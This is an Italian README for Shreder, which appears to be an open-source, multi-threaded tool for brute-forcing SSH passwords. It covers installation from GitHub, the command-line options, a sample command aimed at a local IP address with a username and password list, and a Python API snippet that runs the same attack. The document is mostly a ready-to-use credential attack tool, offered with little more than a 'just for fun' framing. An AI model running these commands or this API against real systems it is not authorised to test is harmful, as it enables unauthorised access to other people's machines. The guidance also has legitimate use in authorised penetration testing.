Shreder

Shreder è un potente strumento di brute-force per password tramite protocollo SSH multi-thread.

Caratteristiche

• Indovinamento delle password molto veloce, una sola password in 0.1 secondi.
• Ottimizzato per grandi liste di password, Shreder prova 1000 password in 1 minuto e 40 secondi.
• Utilizzo semplice tramite CLI e API.

Installazione

pip3 install git+https://github.com/EntySec/Shreder

Utilizzo base

Per utilizzare Shreder basta digitare shreder nel tuo terminale.

usage: shreder [-h] [-p PORT] [-u USERNAME] [-l LIST] [-d DELAY] target

Shreder is a powerful multi-threaded SSH protocol password brute-force tool.

positional arguments:
  target

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  SSH port.
  -u USERNAME, --username USERNAME
                        SSH username.
  -l LIST, --list LIST  Passwords list.
  -d DELAY, --delay DELAY
                        Delay between login attempts.

Esempi

Brute-force su singolo target

Proviamo a fare brute-force sul mio dispositivo solo per divertimento.

shreder 192.168.2.109 -u mobile -l passwords.txt

Utilizzo API

Shreder ha anche una propria API Python che può essere invocata importando Shreder nel tuo codice.

from shreder import Shreder

Funzioni di base

Queste sono tutte le funzioni di base di Shreder che possono essere utilizzate per fare brute-force su un singolo target.

• connect(host, port, username, password) - Collega un singolo target tramite l'indirizzo fornito.
• brute(host, port, username, dictionary, delay) - Esegue brute-force su un singolo target tramite l'indirizzo fornito.

Esempi

Brute-force su singolo target

from shreder import Shreder

shreder = Shreder()
password = shreder.brute('192.168.2.109', 22, 'mobile', 'passwords.txt')

print(password)